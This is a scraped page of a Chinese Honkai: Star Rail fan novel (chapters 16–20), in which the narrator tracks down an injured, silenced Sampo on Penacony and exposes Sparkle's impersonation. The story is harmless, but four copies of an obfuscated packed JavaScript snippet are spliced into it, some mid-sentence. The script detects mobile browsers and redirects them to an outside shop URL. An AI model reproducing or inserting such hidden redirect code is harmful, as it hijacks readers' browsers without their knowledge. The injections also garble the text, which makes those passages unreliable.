;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285794|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?克里珀堡没人了吗?” “因为那位使者点名道姓要见你。”可可利亚说,“他们是雅利洛-VI号——这颗星球的官方名称——的债主。据说有一笔来自七百年前的巨额欠款,需要克里珀堡偿还给星际和平公司。 “我们刚解决「星核」,民生凋敝,克里珀堡也是一穷二白,别说欠款,光利息都还不上。 “他们一定也知道我们还不上钱,这次派使者造访雅利洛-VI号,一定另有所图。派你去,一方面是公司方面的要求,另一方面也是彰显我们这边的武力:你已经是我们能派出去的最能打的人了。” 你:“……” 这就是传说中的能力越大,责任越大? 你突然理解了为什么桑博不愿意出现在台前。 麻烦事可真多。 但是星际和平公司?他们为什么要见你,一个名不见经传的小人物? 而且消息传这么快的吗?你昨天才解决「星核」的危机,通讯刚恢复,公司就知道这事儿了? 有点奇怪。 “你还有什么要求吗?”可可利亚的姿态放得低了些,“在克里珀堡能做到的范围内,我一定尽力满足。” “让我看看造物引擎。”你说。 可可利亚沉默良久。她脑海中掠过不太美好的回忆:本来听大守护者的命令的造物引擎突然叛变,把铁拳对准了她。 希露瓦说,那是因为眼前少女在「存护」的命途上比她走得更远——造物引擎是筑城者留下的东西,它们只会被「存护」的力量驱遣。 可可利亚在心底叹了口气。 原来当她抛弃「存护」的时候,「存护」也抛弃了她。 也许布洛妮娅比她更适合坐在「大守护者」的位置上…… “可以。”她说。 . 传说筑城者千年之前在雅利洛-VI号留下了近百座造物引擎。它们轰然行走在大地之上,改善了雅利洛-VI号的地质,让沟壑和丘陵变成了平原与森林。 然而,毁灭的军团从天而降,将天空撕开裂口,战火蔓延了整个雅利洛-VI号。原本用来改善生态的引擎被迫挥舞拳头迎敌,和其他机械共同在本不属于它们的战场上牺牲。 百座造物引擎,现在十不存一,且各有损坏,能差使的也就你眼前的这一座。 你轻轻抚摸着造物引擎的……脚,它温驯地伸出手,让你坐在它手臂上。 它也是个老伙计了,陪伴这颗星球走过了千年。不过,今天你提出要求来看它,不只是对它本身好奇。 自从看见那块琥珀结晶之后,你就在想,是谁把那东西放在造物引擎内的?是死亡之前的自己做的布置,还是另有其人? 你遇见桑博似乎也不是巧合。来的路上你问过希儿,她说桑博并不是一开始就在贝洛伯格,而是在贝洛伯格最艰难的时候出现的。 那时候离现在时间相隔并不远。 你的记忆会是他放在造物引擎里的吗?你的“复活”,和他有关系吗? 为了搞明白这些问题,你决定读取造物引擎的工作日志,看看是否能发现什么线索。 17. 二相乐园 你没能得到任何有价值的信息。 一切信息都以诡异的方式被抹去了。关于你那枚记忆结晶从何而来、为何被放在引擎内部保管,又为何在你出现的时候掉落,日志里没有任何记录。 你对此并不意外。 你的“复活”,如今看来,充满秘密,背后存在着一方甚至多方势力的引导;毕竟,没有痕迹就是最大的痕迹。 不过,随着你的行动范围越来越大,这些势力浮出水面也是迟早的事,你不着急。 就在你坐在造物引擎手中,准备下地的时候,你的动作突然顿住了。 就在刚才,你留在桑博身上的那颗绿宝石碎掉了。 那上面承载着你注入其中的「存护」之力。当持有者收到致命危险的时候会被激活,为其挡下致命一击。 ——桑博有危险! 你闭上眼睛,感应宝石破碎之前最后出现的坐标。 好遥远…… 桑博·科斯基为什么一晚上的时间就跑到这么远的地方? 那家伙平时看上去挺有实力的啊,怎么会栽这么狠? 你无端想起梦境中睨下来的那双眸,和自己在那眼神下恐惧到冻结的身体,手指忍不住紧了紧。 你从引擎手上跳下来。 下面等着的布洛妮娅吓了一跳,看见你安然无恙落地才松了口气:“怎么了?发生什么事了……” “抱歉,布洛妮娅。下午我不能出席。麻烦你和可可利亚大人说一声。” “啊?可是,下午,公司——” 你递给她一样东西,“他们来的时候,把这个交给他们,然后尽力拖住时间,等我回来!” 如果希露瓦在这里,就能看出那东西是你从她那儿拿走的能量转化装置。只不过现在,这东西周围星芒闪动,装置的框架无风自传,结构更加细致精巧,正是被你改造过的结果。 这是你在闲暇时间弄出来的,从希露瓦的概念模型转化成了真正能使用的实物。现在,它正源源不断地吸收着星球上「星核」逸散的能量,化为储蓄能源待日后取用。 你有自信,公司会对它感兴趣的。如此一来,就算在最坏的设想中,他们也至少会等她回来再对雅利洛六号动手。 “欸?”布洛妮娅呆呆握着手中的装置,看着你跑远。 这么突然,到底发生什么事了? …… 桑博一定遭遇了什么了不得的东西,你确信。 你送那颗宝石,虽然目的是为了在必要时刻掌握他的行踪,但上面也确实凝聚了实打实的「存护」之力。 顺带一提,你用起「存护」的力量来真是得心应手,仿佛天生就在这条命途上行走。结合昨晚的记忆,如果不是克里珀祂老人家还挂在亚空间里打灰,整个庇尔波因特的轨道都能瞻仰到它的神躯的话,你都要以为自己就是「存护」了。 换句话说,能强力到让你的宝石碎掉,对方一定也来头不小。 你必须得想办法横穿星际,在最短的时间内找到你的向导。 然而,这并非易事:星际旅行对于凡人来说极为危险,星系之间横亘着混乱纷杂的虚数之力,稍有不慎变回被挤压或吞噬。 仅有三种方式能无视危险进行航行。第一,行走在「开拓」的星轨或者公司的泛宇宙贸易航道上;第二,与掌握并能灵活运用虚数之力的生物,比如令使级的人物同行;第三,寻求星神的庇护。 对你来说,最快最简单的方法毫无疑问是第三种。 “阿哈!老哈,看看我,老哈!”你呼唤阿哈。 星神不会一直注视一个凡人。 但你赌祂会看你。 毕竟在你的记忆里,你们的关系真的蛮不错的—— 祂还给你送过伞! 你赌赢了。你感觉你周围的一切都咧开了嘴,扬起向上的弧度,包括石头、砖块、风……甚至不远处造物引擎的大拳头。 祂来了! 你在脑海里描摹那个坐标,幻想自己乘风而起,如落叶一般轻轻飘荡到那里。 恍惚间,你听见了一阵窃笑。 『别忘了去拿我给你的礼物,亲爱的!』你听见祂说。 那声音好像贴着你的耳朵在发声。你忍住摸耳朵的冲动,感到身体传来一阵被空气挤压的压迫感,然后骤然变松…… 你的脚重新触地。 你睁开眼。眼前已然是一个新的星球:繁华的商业街,飘落的杏黄色枫叶,还有……来来往往的不同皮肤、不同种族、不同样貌的生灵。 记忆被风吹开了一个角。你没有任何关于这里的记忆,但却想起来了这里是什么地方:二相乐园,『欢愉』垂迹之地。 一股悲伤迅速滑过你的身体,在你心脏上不轻不重地捏了一把,让你怅然若失。 你曾经来过这里。 你呼出一口气,压下心底涌现的奇怪情绪,辨别了一下方位,朝着宝石破碎的地方疾步走去。 穿过几个巷子,你到了一个看上去不怎么安全的地方。 拿着吉他的黄色……公鸡?还有穿着JK的覆面系……这是□□吗? 你绕过他们,走到巷尾的一处阴影旁,表情凝重。 这里就是绿宝石破碎的地方。 现场还残留有「存护」的力量,还混杂着一些乱七八糟的气息。「欢愉」?「虚无」?「巡猎」?反正破坏力不小,墙和地被炸的乱七八糟。 你蹲下来,指尖擦过碎掉的地缝。除了灰之外,地缝里还有新鲜的血迹。 这里有人打斗,还有人受伤了。出血量不小。 是他的血吗?你希望不是。 战斗波及的范围很小,只有这一处没人的地方。看得出来,两方都不希望将事情闹大。 也许他们彼此之间认识。 你的宝石对双方来说应该都是个意外。你闭上眼,精神如触须般伸出,抚过这一片区域的草木砂石,试图复现案发现场。 桑博回来,试图解决一个从前留下的麻烦。这个麻烦与*某人*有关。在他的想法中,这个麻烦应该很好解决,于是在看见*某人*之后,他们默契地走进无人小巷。 然而,出现了某些变故。可能性有两种:A.*某人*出乎意料地对桑博发送了袭击,致使他受伤;B.桑博有*某人*对他发起袭击的准备,然而发生了某些变故,*某人*的实力突然增强或桑博突然变得虚弱,致使桑博不敌*某人*。 在桑博性命垂危之际,你送给他的宝石发挥了作用——现场大半都是「存护」的气息——桑博获得了一丝喘息之机,逃跑了。 你睁开眼睛,目光转向黑暗角落中露出的几抹色彩。 原本,由于战斗双方达成的不希望被注意到的共识,你本来没有指望在这个偏僻的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285795|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到袭击的目击者。 然而,你的意识在巷子边缘的杂物中发现了一些奇特的小生物——可爱、无害、除了表情和颜色没有任何特征的方块状小生物。 你不知道那是什么,但还是抱着一丝希望拦截住它们:“你们好?请问,你们有看见这里刚才发生了什么吗?” 方块们面面相觑。 “我们只是尘灵,我们什么也没看见。”方块们说,“但是如果你能给我们一些「愿力」……我们也许会想起来些什么。” 「愿力」……你咀嚼着这个名词,大概懂了它们需要什么。 就像你向「星核」许愿,make雅利洛六号great again一样:某些类似于「愿力」的东西在雅利洛ⅵ的全体居民身上通过对「存活」的信仰成为了命途之力的一部分;又因为你许的愿望,这股命途之力集合起来,成为了「星核」的力量,最后反馈到了雅利洛六号自身。 而对于尘灵以及这颗星球上的许多其他生物来说,「愿力」是它们赖以生存的养料。有人希望它们活下去,它们才能活着。 于是你闭上眼睛,认真想象了一下尘灵统治世界的景象。 “停停停停停——”尘灵们哇哇乱叫,“不要喂了,大人!要撑爆了! “我们想起来了,想起来了呜!” 你停止想象:“说吧?刚才你们在这里看见了什么?麻烦详细描述一下。” 变大的尘灵们叽叽喳喳: “那个集装箱背后,有两个男人……”“一个是蓝色头发的男人……”“另一个也是蓝色头发的男人…… “它们在聊天……”“吵架…… “一个骂另一个是废物……”“胆、胆小鬼、懦夫……”“想要的东西不懂得争取……”“只知道逃避……” “突然之间,一个蓝发对另一个蓝发动手了! “嗯,他偷袭,不讲武德……” “然后呢?”你忍不住问。 怎么还有战前嘴炮环节? “然后一道金光就闪过了!”“一阵烟雾,我们看不清……” “烟散开的时候,两个人就都不见啦!” 你垂眸沉思。 两个蓝毛?一个蓝毛是桑博,袭击他的人也是蓝毛? 这范围很宽泛啊。 不过,俗话说,有烟无伤,桑博应该没事……吧? “呃,最后一个问题。”你问,“你们知道这一带比较有名,口碑又好的侦探是哪位吗?” 你在走过来的路上就看见了不少侦探事务所的广告。这说明,这里除了偶像文化,侦探行业也相当兴盛。 术业有专攻。你的直觉告诉你,你应该找一个侦探来帮你破案。 “呃,最近就有一家……不死神探事务所!”“这家事务所天天打广告……”“但是他好像确实很厉害!从找猫找狗到找人,破案率好像是百分之百…… “不过,委托费用也很高呢!” 委托费?这种东西,当然得在找到桑博之后让他来付。 “那么,麻烦给我带个路,我要去那里——什么人?”话说到一半,你感觉到了一股强烈的窥视感。 有人正看着你——他的目光黏稠得宛如实质,像某种海洋生物的触须,一寸寸舔舐过你的肌肤,钻进你的衣领,顺着你的脊椎向下爬。 你的脊背不由自主地绷紧了。 18. 二相乐园 你头皮一阵阵的发麻,猛地朝那个方向看去。 黑暗像浓稠的墨汁填满了整条巷子,只有远处霓虹灯的光偶尔渗进来一丝。在那光影浮动的间隙里——离你不近不远的地方,一双眼睛正看着你。 那人是…… 你眨眨眼。 蓝发绿眸,嘴角永远挂着那副让人卸下防备的亲和笑容。还有那四面漏风的骚包穿搭,包臀低腰裤和无跟鞋……除了桑博·科斯基,还会有谁穿? 那股无形中攥紧你后颈的手倏地松开了。你几乎是下意识地松了口气,喊道:“桑博!” 看起来除了头发乱了些,似乎没什么事儿? 一步,两步,你走近他。 看见熟悉的身影,感受到熟悉的气息,你本应感到轻松。然而,那股毛骨悚然的感觉并没有消失。 但是你面前的的确是几日内与你一同冒险的桑博,你的直觉不会出错…… 没等你靠近,那人猛地闪现到了你面前,抓住你的手,眼泪汪汪地看着你。 他周围的空气中出现几个大字: 『我想死你了,家人!』 你嘴角抽了抽。 确定了,这就是桑博。只有这家伙会这么浮夸。 “你咋了,出个门还把自己弄成哑巴了?” 『哎,别提了,我的好伙计啊,我这次可算是阴沟里翻船了!呜呜呜……你都不知道我遭遇了什么……还好有你送我的护身符在,不然我老桑博这次可就栽了!』 你伸出手指,摸了摸那些浮现的文字——白字像是被挠到痒处的小动物,猛地颤抖了一下。 你顿感有趣,于是屈指又弹了一下。 这次白字似乎再也受不了,剧烈颤抖之后砰地消散。 “没事就好,剩下的事交给我。”你说,目光不经意间扫过他的手臂,“等等,你的胳膊——” 你抓住他的手腕。 手套下方,一道狰狞的割伤斜贯小臂,还在汩汩地往外渗血。 鲜红的血如泼在白纸上的红色的颜料,鲜明刺目。 在你指尖触到他皮肤的那一刻,他轻轻颤抖了一下。 很轻,但你还是感觉到了。 “疼?”你的手指尖沾到了一些猩红的液体,“忍着点,我给你简单止一下血。” 这人向来游刃有余,你从来没见他这么狼狈过。 你褪下他的手套。白皙的皮肤上隐隐能看见青色的血管,衬得那道伤口愈发触目惊心。 他好像不太能忍疼。 你已经尽力放轻动作了,但他还是会随着你的动作发颤。你看见细密的汗珠从他手臂上沁出来,顺着皮肤滑落,没入巷尾的阴影中。 半晌,你舒了口气:“好了。” 你抬起头—— 发现他正盯着你看。 那目光很轻。他今天所有的反应都很轻,像溺死在水里的蛾子,过不了多久就会无声无息地顺着水流飘走。 那股怪异的感觉又泛了上来。 你下意识抽回手。 就在那一瞬间,他的目光变了。 和你之前感觉到的一样,黏腻的、滚烫的、让你毛骨悚然的视线带着极致的渴欲再次出现,从他那双绿眸深处猛地涌出,变本加厉,毫不掩饰。 你几乎本能地想要后退。 然而——他的表情又是那么正常——就好像一张焊在脸上的完美面具,所有翻腾着要涌出的黑暗全被牢固地封印在其中,至少从外表上,你瞧不出分毫端倪。 好像刚才的一切都只是你的错觉。 ……到底怎么回事? 『怎么了,家人?』 他亲切地笑着,完好的那只手无比自然地握住你的手。 他的体温比你的略高,热度不断地从他的掌心传来。 ——你从未有一刻如此刻这般,因为一个牵手而如坐针毡。 该死的,之前到底发生了什么?!桑博·科斯基是脑子被人揍傻了,还是被人夺舍了? 冷静,冷静,你是个沉稳的人。 至少别让他通过你的脉搏发现你在紧张!那样也太丢人了! “……没什么。”你说,冲他笑了笑,“说说吧,发生了什么?” 『来之前,我不是给你发了消息,说我要去处理一点麻烦事儿吗?』 你点点头。 『结果——』 你看着白字。“结果”剧烈颤抖着,颤抖了半天也没有后续——就像酝酿许久的便秘者正在马桶上卯足力气地准备释放,最后却只是放出了一个无关紧要的屁。 “行了。看得出来,你已经努力过了。”你头疼地捏了捏眉心,借机自然地将你的手抽出来——万幸,他至少没硬拉着不放。 完全拿捏住了你的底线。 桑博摊手。 『如你所见,我被下了*封口咒*!不光嘴不能说话,我没法向外界透露任何相关的事!不管用什么方法都不行。哎,没想到我也有这么一天……』 “没关系,我会出手。”你拍了拍他的肩膀,说道。 『哎哟,其实除了不能说话,其他的都没什么大碍。二相乐园愿力活跃,直接用愿力生成文字就好,也能正常交流。 『真没想到你居然会找过来,呜呜呜,太让我感动了……』 “你就感恩戴德去吧。”你没好气地说,“为了你,我可是放弃了见公司使节的机会。” 『呃,还有公司的事儿?怎么,在我老桑博离开的这一天一夜里,雅利洛-VI号又发生什么了不得的大事了?』 “寒潮退散之后,泛银河星际通讯恢复了,所以公司也联系上了雅利洛-VI号……我作为雅利洛-VI号的代表,要跟着克里珀堡的人一起见他们。但这已经不再重要了,老兄。” 『嗯?为什么?』 “因为我已经迟到了,”你沉重地说,好像这次会晤对你来说真的有那么重要似得,“事已至此,不如留在这里,先把你的事解决了吧。” 你示意桑博跟上你,朝那些尘灵们招手:“你们可不可以缩小一点?” 尘灵们弹了弹:“你喂的愿力……”“太多了……”“一时半会儿变不小呜……” “努努力嘛。”你说,“你们太大块儿了,我抱不住。” 『这是尘灵?伙计,你带着它们干什么?这东西这地方遍地都是,比无主的像素金币还要多……』 “它们多可爱啊。”你耸耸肩,“与其说风凉话,不如帮我想想办法,怎么才能让这些小家伙们变小。” 『呃……幻想一下呢?理论上来说,在二相乐园,就算你是个青壮年男子,只要想变成美少女……』< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285796|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “就能变身成美少女?” 『就能创造一个虚拟的美少女形象。哈哈,开玩笑,开玩笑的——私自创造幻造种,这是违法的。不过,对于尘灵来说,改变形态还是很容易的,它们本来就是二相乐园的最小愿力单元。 『只要想象自己是*一块香香软软的小蛋糕*,就会变小了。』 “真的?”你怀疑地看着桑博。 这种听起来就不靠谱的方法……真的不是什么恶作剧? 『包真的!』桑博努力让自己表情看上去诚恳,『伙计,你难道还不相信我老桑博吗?』 你真的相信过这家伙吗? 你对他的信任是灵活的。你一直抱有这样的态度:桑博·科斯基,可以信,但不能全信。要信,也不能一次性信,要有步骤、有层次、可持续地信…… “照它说的做。”你对尘灵说。 尘灵们弹了弹,居然真的在你眼皮底下变小了。 你舒了口气,朝它们伸出手,尘灵们排着队蹦蹦跳跳地蹦上了你的肩膀和头顶。 桑博见状,也跟着你一起伸出手,于是他头顶上也顶了两个。 见你看过来,他热情地笑了笑——抛开这家伙所有的可疑之处不谈,他现在看上去可爱极了。 你努力拉平嘴角: “带路。” 『嗯?家人,你要去哪儿啊?』 “没跟你说话啦。”你摸了摸肩膀上的尘灵,“这些可爱的东西才是我的向导。” 『啊?呜呜,家人,我才是你的向导不是吗?哎,真的是,只见新人笑,不见旧人哭……如果你想,我老桑博也可以变成*香香软软的小蛋糕*啊!』 “免了。” 你无情挥开涌到面前的白色文字,按照尘灵指示的方向走去。 路越走越黑,周围的霓虹灯却越来越亮,将街道分割成秩序鲜明的色块。 终于,你们来到了一家破破烂烂的楼房前。 店铺连灯都没亮,你眼尖地看见一楼的窗户玻璃上贴着「房屋出租」四个字。 “狸狸杂志社……呃,是这里吗?你们确定吗?”你发出质疑。 尘灵叽叽喳喳地表示肯定。 你眯起眼,向上看去。 玻璃上好像确实写有侦探社的标志—— “两位,是来咨询案件相关方面的问题的吗?这里是不死神探事务所,我是事务所的接待员,也是那位侦探先生的助手。” 一道沉稳浑厚磁性充满安全感的声音响起。 你转过头,看见了一只…… 猴子。 “原始博士打过来了?”你警惕地说,“二相乐园怎么什么都有??” “我叫「旁白」。如您所说,这座乐园什么都有,包括会说话的猴子。”「旁白」说,“我们侦探事务所的门开在杂志社二楼。” “喔,好吧。我们确实是来咨询案件的,还请您带路,「旁白」先生。” “我很乐意效劳。不过,恐怕现在您有更亟需处理的事。”「旁白」转向桑博,“您的朋友似乎伤得很重,一直在流血。我想,你们应该先去这附近的医院看看。” “哈?”你转头,果然看见了桑博渗血的绷带。 你沉默了一会儿。 “我的包扎技术真的有那么差劲吗?” 19. 二相乐园 『嘶……不是你的问题,可能是因为——』 后面的文字照样生成不出来。 见此你也明白了,这应该和那位袭击者有关。 你摇摇头,将身上的尘灵交给猴子: “「旁白」先生,事态紧急,我就长话短说:我的朋友在那边的巷子里遭遇了一场袭击,这些尘灵是目击证人。那位神探如果有时间处理我们的委托,就请先问这些尘灵具体的情况,或者让它们帮忙带路去案发现场看看。” “明白。”「旁白」点点头,递给你一张名片,“这是不死神探事务所的名片,上面有联系方式和收款账户。等你们去医院处理好了伤口,欢迎随时致电。” 你应了一声。 猴子目送你们离去,如皮套一般的猴脸上没有任何表情变化。 …… “医生,他的情况怎么样?”你把医生拉到一边。 医生没说话,看起来好像很忙的样子,盯着手里的表格。 但是你看见他的手指搓了搓。 你:“……” “哈哈,瞧我,出门没带现金。不知道您这里支不支持——” 搓手指的手一顿,翻了过来,露出手心的二维码。 你:“……” 你看了看医生,又看了看它纹在手心的二维码。 这到底是什么黑店!! 你认命地扫码转账,2000信用点如奶油般化开,消失不见。 “他的手臂没事,送来的及时,不是安排人给他缝针了吗?以我们医院的技术,缝完针连疤也不会有。” “医生,我说的不是这个,我是说……”你往后看了看,鬼鬼祟祟地压低声音:“他的脑子……没有什么问题吧?” 医生奇怪地看了你一样:“怎么,你怀疑他脑子有问题?精神科不在我们这层哈。他干了什么?我看人挺正常一小伙儿啊。” 你欲言又止,止言又欲,最后沉重地说道:“他总是在看着我。” “所以呢?” “不是那种普通的视线……”你的手在空中晃了晃,极力找出形容词:“他看我就好像饿了三天的狼突然看见了生肉……就是那种,很奇怪的眼神。而且,我背对他的时候他看着我,我面对他的时候他也看着我,如果他的眼睛是放大镜,我可能已经烧焦了。 “你能懂吗,医生?” 医生终于抬眼看你。那眼神像在看傻子:“……你来的时候看招牌了吗?这里是医院。咨询情感问题请出门右拐去情感咨询所谢谢。” “不是,医生,这不是什么情感问题。我们之间不是那种关系!”你暴躁地抓了抓头发,“我们是朋友,姐妹,姐妹你懂吗?他是受伤之后突然变成这样的。我怀疑他的精神出了什么问题……” 医生:“男女之间到底有没有纯友谊,这话题搁论坛上一小时都能叠上百楼了……对了,他是男的吧?” 你刚想点头,突然又迟疑了。 细思极恐,桑博·科斯基从未公开承认自己是男人。 他的衣橱里有——据不完全统计,就光你的惊鸿一瞥看见的——三件裙装。 他男装的次数和女装的次数,只计算有服饰变化的,达到了惊人的1比1。 医生看见你的迟疑,顿时懂了:“我就这么说吧,你拿他当姐妹,他拿你当姐妹吗?你真的了解过他吗?” 了解吗?如解。 毕竟你和桑博统共才认识四天。 “这里的重点是,”你又朝他的账户里打了2000信用点,试图说服医生,“他是受伤之后突然变成这样的。” “你是想说,你觉得他是因为受伤引起了性格上的变化吗?哼哼哼,这个我也略懂,让我跟你好好分析一番。”医生呵呵笑了一声,心想,钱难挣屎难吃,看在信用点的份上—— “有三种可能性: “A.他喜欢你,这次受伤让他意识到了人生苦短,明天和意外不知道那个会先到来,所以他决定勇敢一次,开始向你释放暧昧信号; “B.他喜欢你,这次受伤让他非常缺乏安全感,所以下意识地黏你,想从你身上得到安全感; “C.他喜欢你……” “停。”你双手立在胸前比了个X,“就没有他不喜欢我的选项吗?” 医生假笑:“很抱歉,没有。我们医生一般不对患者说谎,这点最基本的节操我们还是有的。” 还不如没有呢,你心想。 “比起他,我觉得更需要操心的是你吧。”医生上上下下打量你,“你这整容整的,上上下下动了几百刀吧?” 你:“……哈?” “嗐,我也干点这方面的副业,别跟我装了——别人看不出来,我还看不出来么?你这动刀子动得太频繁,可不是什么好事啊。而且,给你整容的医生技术也太糟糕了吧?怎么整来整去都是一副路人脸。不如来我这里,我给你优惠价……” “停一停,停一停。”你打断他,“你从哪儿看出我整容过的?” 医生瞅了你一眼:“你这脸,耳朵,眼睛,鼻子,嘴巴……不全动过刀子?啧,简直像是一点一点拼起来的。” 你动作停滞了一下,缓慢地抬起手,摸了摸自己的脸。 …… 桑博·科斯基从医院房间里走出来的时候,你正在窗台边打电话。 局麻对他来说效果不佳,一阵阵的钝痛感从皮肉断裂又被迫缝合的地方传入神经。 他不为所动,目光穿过走廊,落在你的背影上。 你侧对着窗户打电话,半边身子浸在夜色里,另半边被走廊的灯光勾勒出模糊的轮廓。你的嘴唇在动,抿起,偶尔弯出好看的弧度。 勾勒,描摹,记录……珍藏。 像是已经设定好了的程序,不知从何时开始,他就只会如此运转。似乎只要将你珍藏在记忆中,就可以依靠着那一点点单薄又寡淡的回忆捱过那些无尽孤寂的时光。 快发现吧……快发现吧? 什么时候你才能发现,他和*那个人*的区别,发现他赖之以生的东西,发觉他无法述之于口的答案…… 只要一点点反应就好。只要你有一点点意识和一点点回应—— 就算是就此消失也值得啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285797|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑博·科斯基的表情微不可见地扭曲了一下。他抬起手,抚平嘴角,让它再次呈现出最佳的弧度。 “……啊,谢谢您,我知道了。”你垂在身侧的那只手紧了紧。 瞧啊,又来了——这隐含着渴欲和痛苦的视线!那个医生根本就不懂你现在处在怎样的水深火热中! “我明白,我们提供的线索的确太少了。”你对电话那头的人说,“我的朋友被下了*封口咒*,可能也没办法给您提供更多信息。请你们继续在现场调查,看看能否找出更多线索,在此期间所造成的一切费用都由我承担。 “……我明白。实不相瞒,我也打算去一趟酒馆。如果是这样就再好不过了。嗯嗯。我这边也会和朋友一起,看看能否解除*封口咒*的方法。” 你装作才发现他的样子,转过头。 桑博·科斯基脸上立马浮现出——就好像条件反射一般——亲切而友好的笑容。 『在和侦探打电话吗?』他身边浮现白字。 你应了一声,又对电话那头的人客套了几句,便挂了电话。 “你的胳膊还好吗?” 桑博点了点头:『小伤,没问题的,姐们儿!』 “那就好。”你说,“你刚才说,在二相乐园也可以当我的向导。去什么地方都可以,是吧?” 桑博的猫猫嘴翘起来:『当然。你想去哪儿?』 “那感情好,我要去「世界尽头」酒馆。带路吧?” 『酒馆?』他眨眨眼,『那里面不是醉鬼就是神经病,很没意思的。作为向导,我可不建议你第一站就去参观那里。』 “实际上,我得到了一些线索。”你说,“那位侦探,不死途先生,他建议我去愚者们的地盘碰碰运气的。我决定相信侦探的判断。 “不过,那里好像只有假面愚者能进?它的审查机制严不严,能不能随便弄张面具戴上去,让我们混进去?” 『呃,没有那种规定。我刚才说了,那里不是醉鬼就是神经病,你只要装得像其中之一就行啦。就算真有人混进去,也不会被怎么样的,顶多嘲笑一番咯?只要你跟着我,别走远就行。』 你点点头,手中光华闪烁,金黄色的液体凝结成形,凝成了一面半透明的琥珀半脸面具。 “走吧……怎么样,这面具不奇怪吧?” 桑博笑眯眯道:『帅呆了,家人。』 “哼,那必须的——带路吧。” 『好嘞~ 』 …… 你不得不承认,这个星球比贝洛伯格不科学多了。 不,也许是科学多了——科技发展,很神奇吧? 一个地方居然能在二次元和三次元之间反复横跳——难道所有进入酒馆的人都要承受这种颠三倒四的感觉吗? 你看这愚者个个都是《二次元jump!》的高手啊。 你撑住晕乎乎的脑袋,跟着桑博走进了酒馆。 “欢迎来到酒馆,亲爱的。”一个声音响起,熟悉到让你有些恍惚。 你定睛看去,瞪大双眼。 桑博·科斯基?! 20. 二相乐园 等等,这里为什么会有两个桑博·科斯基? 这个向你迎过来的男人,和你旁边的桑博·科斯基长得不能说毫不相干,简直一模一样! 你来回扭头,嘴巴张成o形。 也许是你的表情太有意思,朝你走来的男人脸上笑意愈发明显:“伙计,一日不见如隔三秋啊!我就说,我这从早上开始,左眼皮就直跳,原来是你要来啊,今天果然是个好日子。怎么这副表情,不认得我了吗?” 你转过头。 你旁边的桑博·科斯基撇了撇嘴: 『姐们,都这个时候了,我都说不了话了,你就别来添乱了。』 你正过头。 “嘿,添乱的到底是谁啊?”一模一样的蓝发家伙说,“你模仿的也太不走心了吧,知道声音模仿不出来,所以干脆找个借口不出声了吗?” 你回过头。 『喂,非要我在这里把你的身份说出来吗,花火?』 你正过头。 “哎哟伙计,我真的很感谢你把她带过来。不过,也该把我的朋友还给我了吧?”桑博(?)朝你走过来,小声对你说:“你该不会真信她的话了吧,亲爱的?别被她骗啦,她不是真的,我才是!你第一次见到我的时候,还夸我眼睛漂亮,送了我一块绿宝石呢,你不记得了吗?” 你转过头。 『嘿,别信她,家人!我才是你最可亲可爱可靠的老桑博啊!你难道忘了我们在贝洛伯格一起冒险的经历了吗?我还请你吃了一顿早餐一顿午餐加上一顿晚餐呢!』 你正过头。 “哎哟,都是哥们儿,你怎么能背刺我呢?这些明明都是我告诉你的啊?家人,我才是你真正的朋友——在那个全是雪的星球,我陪你一起解决了星核的危机啊?” 你转过……放过你的脖子吧,它真的好酸。 眼看着旁边的围观群众越来越多,你制止他们两个:“酒馆没有不能打架的规矩吧?” “没有是没有……” 『呃,家人,你想干啥?』 你点点头,然后瞬间金光爆开,将所有明里暗里看热闹或不怀好意的目光全部阻隔。 等到强光暗下来,会说话的那个桑博的周身已经被各种形状的琥珀包裹禁锢,而你凝聚的匕首尖已经抵住了他的咽喉。 “这位花火……应该是小姐吧?很遗憾,虽然你扮演得惟妙惟肖,但你还是出局了。”你说。 他试图挪动抵在脖子上的锋刃——但你不为所动,利刃险些将他的脖子划破。 “哎哟,好啦,好啦。开个玩笑而已,不至于用这么危险的东西指着人家吧?”她抱怨了几句,身形突然一变,从那琥珀中闪现出来,等到再度现身时,已经变成了一身夏凉裙装的少女。 